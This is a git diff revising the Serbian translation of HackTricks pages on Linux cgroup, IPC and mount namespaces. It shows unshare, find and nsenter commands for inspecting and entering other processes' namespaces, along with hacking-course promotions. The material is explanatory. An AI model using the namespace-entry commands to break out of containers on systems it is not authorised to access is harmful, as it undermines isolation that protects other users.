lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
|
||||
```
|
||||
### Pronađite sve CGroup namespace-ove
|
||||
### Pronađite sve CGroup imenske prostore
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -91,29 +82,28 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/nul
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### Uđite unutar CGroup namespace-a
|
||||
|
||||
{% endcode %}
|
||||
|
||||
### Uđite unutar CGroup imenskog prostora
|
||||
```bash
|
||||
nsenter -C TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Takođe, možete **ući u drugi proces namespace samo ako ste root**. I **ne možete** **ući** u drugi namespace **bez deskriptora** koji na njega pokazuje (poput `/proc/self/ns/cgroup`).
|
||||
Takođe, možete **ući u drugi procesni prostor imena samo ako ste root**. I **ne možete** **ući** u drugo ime prostora **bez deskriptora** koji na njega ukazuje (kao što je `/proc/self/ns/cgroup`).
|
||||
|
||||
## Reference
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,58 +1,60 @@
|
|||
# IPC Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
IPC (Inter-Process Communication) namespace je funkcionalnost Linux kernela koja pruža **izolaciju** System V IPC objekata, kao što su redovi poruka, segmenti deljene memorije i semafori. Ova izolacija obezbeđuje da procesi u **različitim IPC namespace-ima ne mogu direktno pristupati ili menjati IPC objekte drugih namespace-ova**, pružajući dodatni sloj sigurnosti i privatnosti između grupa procesa.
|
||||
IPC (Inter-Process Communication) namespace je funkcija Linux kernela koja obezbeđuje **izolaciju** System V IPC objekata, kao što su redovi poruka, segmenti deljene memorije i semafori. Ova izolacija osigurava da procesi u **različitim IPC namespace-ima ne mogu direktno pristupiti ili izmeniti IPC objekte jedni drugih**, pružajući dodatni sloj sigurnosti i privatnosti između grupa procesa.
|
||||
|
||||
### Kako funkcioniše:
|
||||
### Kako to funkcioniše:
|
||||
|
||||
1. Kada se kreira novi IPC namespace, on počinje sa **potpuno izolovanim skupom System V IPC objekata**. Ovo znači da procesi koji se izvršavaju u novom IPC namespace-u ne mogu pristupiti ili ometati IPC objekte u drugim namespace-ovima ili na host sistemu po default-u.
|
||||
2. IPC objekti kreirani unutar namespace-a su vidljivi i **pristupačni samo procesima unutar tog namespace-a**. Svaki IPC objekat je identifikovan jedinstvenim ključem unutar svog namespace-a. Iako ključ može biti identičan u različitim namespace-ovima, sami objekti su izolovani i ne mogu se pristupiti preko namespace-ova.
|
||||
3. Procesi mogu da se premeštaju između namespace-ova koristeći `setns()` sistemski poziv ili kreiraju nove namespace-ove koristeći `unshare()` ili `clone()` sistemski pozivi sa `CLONE_NEWIPC` zastavicom. Kada proces pređe u novi namespace ili ga kreira, počeće da koristi IPC objekte povezane sa tim namespace-om.
|
||||
1. Kada se kreira novi IPC namespace, počinje sa **potpuno izolovanim skupom System V IPC objekata**. To znači da procesi koji se izvršavaju u novom IPC namespace-u ne mogu pristupiti ili ometati IPC objekte u drugim namespace-ima ili na host sistemu po defaultu.
|
||||
2. IPC objekti kreirani unutar namespace-a su vidljivi i **pristupačni samo procesima unutar tog namespace-a**. Svaki IPC objekat je identifikovan jedinstvenim ključem unutar svog namespace-a. Iako ključ može biti identičan u različitim namespace-ima, objekti sami su izolovani i ne mogu se pristupiti između namespace-a.
|
||||
3. Procesi mogu prelaziti između namespace-a koristeći `setns()` sistemski poziv ili kreirati nove namespace-e koristeći `unshare()` ili `clone()` sistemske pozive sa `CLONE_NEWIPC` flagom. Kada proces pređe u novi namespace ili ga kreira, počinje da koristi IPC objekte povezane sa tim namespace-om.
|
||||
|
||||
## Laboratorija:
|
||||
## Lab:
|
||||
|
||||
### Kreiranje različitih Namespace-ova
|
||||
### Kreirajte različite Namespace-e
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -i [--mount-proc] /bin/bash
|
||||
```
|
||||
Montiranjem nove instance `/proc` fajl sistema, korišćenjem parametra `--mount-proc`, obezbeđujete da nova montirana namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
|
||||
Montiranjem nove instance `/proc` datotečnog sistema ako koristite parametar `--mount-proc`, osiguravate da nova mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Greška: bash: fork: Ne može se alocirati memorija</summary>
|
||||
<summary>Greška: bash: fork: Ne može da dodeli memoriju</summary>
|
||||
|
||||
Kada se `unshare` izvršava bez opcije `-f`, javlja se greška zbog načina na koji Linux rukuje novim PID (Process ID) namespace-om. Ključni detalji i rešenje su opisani u nastavku:
|
||||
Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koji Linux upravlja novim PID (ID procesa) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku:
|
||||
|
||||
1. **Objašnjenje problema**:
|
||||
- Linux kernel omogućava procesu da kreira nove namespace-ove koristeći `unshare` sistemski poziv. Međutim, proces koji pokreće kreiranje novog PID namespace-a (nazvan "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
|
||||
- Pokretanje `%unshare -p /bin/bash%` pokreće `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
|
||||
- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces završi, pokreće se čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel tada onemogućava alokaciju PID-a u tom namespace-u.
|
||||
- Linux kernel omogućava procesu da kreira nove namespace-e koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID namespace-a (poznat kao "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
|
||||
- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u.
|
||||
- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi procesa. Linux kernel će tada onemogućiti dodelu PID-a u tom namespace-u.
|
||||
|
||||
2. **Posledica**:
|
||||
- Izlazak PID 1 iz novog namespace-a dovodi do čišćenja `PIDNS_HASH_ADDING` zastavice. To rezultira neuspehom funkcije `alloc_pid` pri alociranju novog PID-a prilikom kreiranja novog procesa, što dovodi do greške "Ne može se alocirati memorija".
|
||||
- Izlazak PID 1 u novom namespace-u dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da dodeli novi PID prilikom kreiranja novog procesa, što proizvodi grešku "Ne može da dodeli memoriju".
|
||||
|
||||
3. **Rešenje**:
|
||||
- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno smešteni unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-a.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da `unshare` komanda sama postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu dodelu PID-a.
|
||||
|
||||
Obezbeđivanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se pravilno održava, omogućavajući `/bin/bash` i njegovim podprocesima da rade bez greške alociranja memorije.
|
||||
Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegove podprocese da funkcionišu bez susretanja greške u dodeli memorije.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -60,20 +62,12 @@ Obezbeđivanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se praviln
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Proverite u kojem se namespace-u nalazi vaš proces
|
||||
|
||||
Da biste proverili u kojem se namespace-u nalazi vaš proces, možete koristiti sledeću komandu:
|
||||
|
||||
```bash
|
||||
ls -l /proc/$$/ns/ipc
|
||||
```
|
||||
|
||||
Ova komanda će vam prikazati simboličku vezu koja pokazuje na IPC namespace u kojem se trenutno nalazi vaš proces.
|
||||
###  Proverite u kojem je namespace vaš proces
|
||||
```bash
|
||||
ls -l /proc/self/ns/ipc
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
|
||||
```
|
||||
### Pronađite sve IPC namespace-ove
|
||||
### Pronađite sve IPC imenske prostore
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -81,17 +75,15 @@ sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null |
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### Uđite unutar IPC namespace-a
|
||||
|
||||
{% endcode %}
|
||||
|
||||
### Uđite u IPC namespace
|
||||
```bash
|
||||
nsenter -i TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Takođe, možete **ući u drugi procesni namespace samo ako ste root**. I **ne možete** **ući** u drugi namespace **bez deskriptora** koji na njega ukazuje (poput `/proc/self/ns/net`).
|
||||
Takođe, možete **ući u drugi procesni prostor imena samo ako ste root**. I **ne možete** **ući** u drugi prostor imena **bez deskriptora** koji na njega ukazuje (kao što je `/proc/self/ns/net`).
|
||||
|
||||
### Kreiranje IPC objekta
|
||||
### Kreirajte IPC objekat
|
||||
```bash
|
||||
# Container
|
||||
sudo unshare -i /bin/bash
|
||||
|
@ -106,21 +98,23 @@ key shmid owner perms bytes nattch status
|
|||
# From the host
|
||||
ipcs -m # Nothing is seen
|
||||
```
|
||||
## Reference
|
||||
## References
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,61 +1,62 @@
|
|||
# Mount Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne informacije
|
||||
## Basic Information
|
||||
|
||||
Mount namespace je funkcionalnost Linux kernela koja omogućava izolaciju tačaka montiranja fajl sistema koje vidljive su grupi procesa. Svaki mount namespace ima svoj set tačaka montiranja fajl sistema, i **promene u tačkama montiranja u jednom namespace-u ne utiču na druge namespace-ove**. Ovo znači da procesi koji se izvršavaju u različitim mount namespace-ovima mogu imati različite poglede na hijerarhiju fajl sistema.
|
||||
Mount namespace je funkcija Linux kernela koja obezbeđuje izolaciju tačaka montiranja fajl sistema koje vide grupa procesa. Svaki mount namespace ima svoj set tačaka montiranja fajl sistema, i **promene na tačkama montiranja u jednom namespace-u ne utiču na druge namespace-e**. To znači da procesi koji se izvršavaju u različitim mount namespace-ima mogu imati različite poglede na hijerarhiju fajl sistema.
|
||||
|
||||
Mount namespace-ovi su posebno korisni u kontejnerizaciji, gde svaki kontejner treba da ima svoj fajl sistem i konfiguraciju, izolovane od drugih kontejnera i host sistema.
|
||||
Mount namespace-i su posebno korisni u kontejnerizaciji, gde svaki kontejner treba da ima svoj fajl sistem i konfiguraciju, izolovanu od drugih kontejnera i host sistema.
|
||||
|
||||
### Kako radi:
|
||||
### How it works:
|
||||
|
||||
1. Kada se kreira novi mount namespace, inicijalizuje se sa **kopijom tačaka montiranja iz roditeljskog namespace-a**. Ovo znači da, pri kreiranju, novi namespace deli isti pogled na fajl sistem kao i njegov roditelj. Međutim, bilo kakve naknadne promene u tačkama montiranja unutar namespace-a neće uticati na roditelja ili druge namespace-ove.
|
||||
2. Kada proces modifikuje tačku montiranja unutar svog namespace-a, kao što je montiranje ili demontiranje fajl sistema, **promena je lokalna za taj namespace** i ne utiče na druge namespace-ove. Ovo omogućava svakom namespace-u da ima svoju nezavisnu hijerarhiju fajl sistema.
|
||||
3. Procesi mogu da se premeštaju između namespace-ova koristeći `setns()` sistemski poziv, ili da kreiraju nove namespace-ove koristeći `unshare()` ili `clone()` sistemski pozive sa `CLONE_NEWNS` zastavicom. Kada proces pređe u novi namespace ili ga kreira, počeće da koristi tačke montiranja povezane sa tim namespace-om.
|
||||
4. **File deskriptori i inodi se dele između namespace-ova**, što znači da ako proces u jednom namespace-u ima otvoren file deskriptor koji pokazuje na fajl, može **proslediti taj file deskriptor** procesu u drugom namespace-u, i **oba procesa će pristupiti istom fajlu**. Međutim, putanja do fajla može biti različita u oba namespace-a zbog razlika u tačkama montiranja.
|
||||
1. Kada se kreira novi mount namespace, on se inicijalizuje sa **kopijom tačaka montiranja iz svog roditeljskog namespace-a**. To znači da, prilikom kreiranja, novi namespace deli isti pogled na fajl sistem kao njegov roditelj. Međutim, sve kasnije promene na tačkama montiranja unutar namespace-a neće uticati na roditelja ili druge namespace-e.
|
||||
2. Kada proces modifikuje tačku montiranja unutar svog namespace-a, kao što je montiranje ili odmontiranje fajl sistema, **promena je lokalna za taj namespace** i ne utiče na druge namespace-e. To omogućava svakom namespace-u da ima svoju nezavisnu hijerarhiju fajl sistema.
|
||||
3. Procesi mogu prelaziti između namespace-a koristeći `setns()` sistemski poziv, ili kreirati nove namespace-e koristeći `unshare()` ili `clone()` sistemske pozive sa `CLONE_NEWNS` flagom. Kada proces pređe u novi namespace ili ga kreira, počinje da koristi tačke montiranja povezane sa tim namespace-om.
|
||||
4. **Fajl deskriptori i inodi se dele između namespace-a**, što znači da ako proces u jednom namespace-u ima otvoren fajl deskriptor koji pokazuje na fajl, može **proslediti taj fajl deskriptor** procesu u drugom namespace-u, i **oba procesa će pristupiti istom fajlu**. Međutim, putanja fajla možda neće biti ista u oba namespace-a zbog razlika u tačkama montiranja.
|
||||
|
||||
## Lab:
|
||||
|
||||
### Kreiranje različitih Namespace-ova
|
||||
### Create different Namespaces
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -m [--mount-proc] /bin/bash
|
||||
```
|
||||
Montiranjem nove instance `/proc` fajl sistema, korišćenjem parametra `--mount-proc`, obezbeđujete da nova mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
|
||||
Montiranjem nove instance `/proc` datotečnog sistema ako koristite parametar `--mount-proc`, osiguravate da nova mount namespace ima **tačan i izolovan prikaz informacija o procesima specifičnim za tu namespace**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Greška: bash: fork: Ne može se alocirati memorija</summary>
|
||||
<summary>Greška: bash: fork: Ne može da dodeli memoriju</summary>
|
||||
|
||||
Kada se `unshare` izvršava bez opcije `-f`, javlja se greška zbog načina na koji Linux obrađuje nove PID (Process ID) namespace-ove. Ključni detalji i rešenje su opisani u nastavku:
|
||||
Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koji Linux obrađuje nove PID (ID procesa) namespace. Ključni detalji i rešenje su navedeni u nastavku:
|
||||
|
||||
1. **Objašnjenje problema**:
|
||||
- Linux kernel omogućava procesu da kreira nove namespace-ove koristeći `unshare` sistemski poziv. Međutim, proces koji pokreće kreiranje novog PID namespace-a (nazvan "unshare" proces) ne ulazi u novi namespace; samo njegovi dečiji procesi to čine.
|
||||
- Pokretanje `%unshare -p /bin/bash%` pokreće `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi dečiji procesi su u originalnom PID namespace-u.
|
||||
- Prvi dečiji proces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces završi, pokreće se čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel će tada onemogućiti alokaciju PID-ova u tom namespace-u.
|
||||
- Linux kernel omogućava procesu da kreira nove namespace koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID namespace (poznat kao "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine.
|
||||
- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace.
|
||||
- Prvi podproces `/bin/bash` u novom namespace postaje PID 1. Kada ovaj proces završi, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi procesa. Linux kernel će tada onemogućiti dodelu PID-a u tom namespace-u.
|
||||
|
||||
2. **Posledica**:
|
||||
- Izlazak PID 1 iz novog namespace-a dovodi do čišćenja `PIDNS_HASH_ADDING` zastavice. To rezultira neuspehom funkcije `alloc_pid` pri alociranju novog PID-a prilikom kreiranja novog procesa, što dovodi do greške "Ne može se alocirati memorija".
|
||||
- Izlazak PID 1 u novom namespace-u dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da dodeli novi PID prilikom kreiranja novog procesa, što proizvodi grešku "Ne može da dodeli memoriju".
|
||||
|
||||
3. **Rešenje**:
|
||||
- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` postane PID 1 u novom namespace-u. `/bin/bash` i njegovi dečiji procesi su tada sigurno smešteni unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu alokaciju PID-ova.
|
||||
- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu dodelu PID-a.
|
||||
|
||||
Obezbeđivanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se pravilno održava, omogućavajući `/bin/bash` i njegovim podprocesima da rade bez greške alokacije memorije.
|
||||
Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegove podprocese da funkcionišu bez susretanja greške u dodeli memorije.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -63,20 +64,12 @@ Obezbeđivanjem da `unshare` radi sa opcijom `-f`, novi PID namespace se praviln
|
|||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Proverite u kojem se namespace-u nalazi vaš proces
|
||||
|
||||
Da biste proverili u kojem se namespace-u nalazi vaš proces, možete koristiti sledeću komandu:
|
||||
|
||||
```bash
|
||||
ls -l /proc/$$/ns
|
||||
```
|
||||
|
||||
Ova komanda će vam prikazati simboličke veze koje predstavljaju različite namespace-ove u kojima se vaš proces nalazi.
|
||||
###  Proverite u kojem je namespace vaš proces
|
||||
```bash
|
||||
ls -l /proc/self/ns/mnt
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
|
||||
```
|
||||
### Pronađite sve Mount namespace-ove
|
||||
### Pronađite sve Mount namespaces
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -84,19 +77,17 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null |
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### Uđite unutar Mount namespace-a
|
||||
|
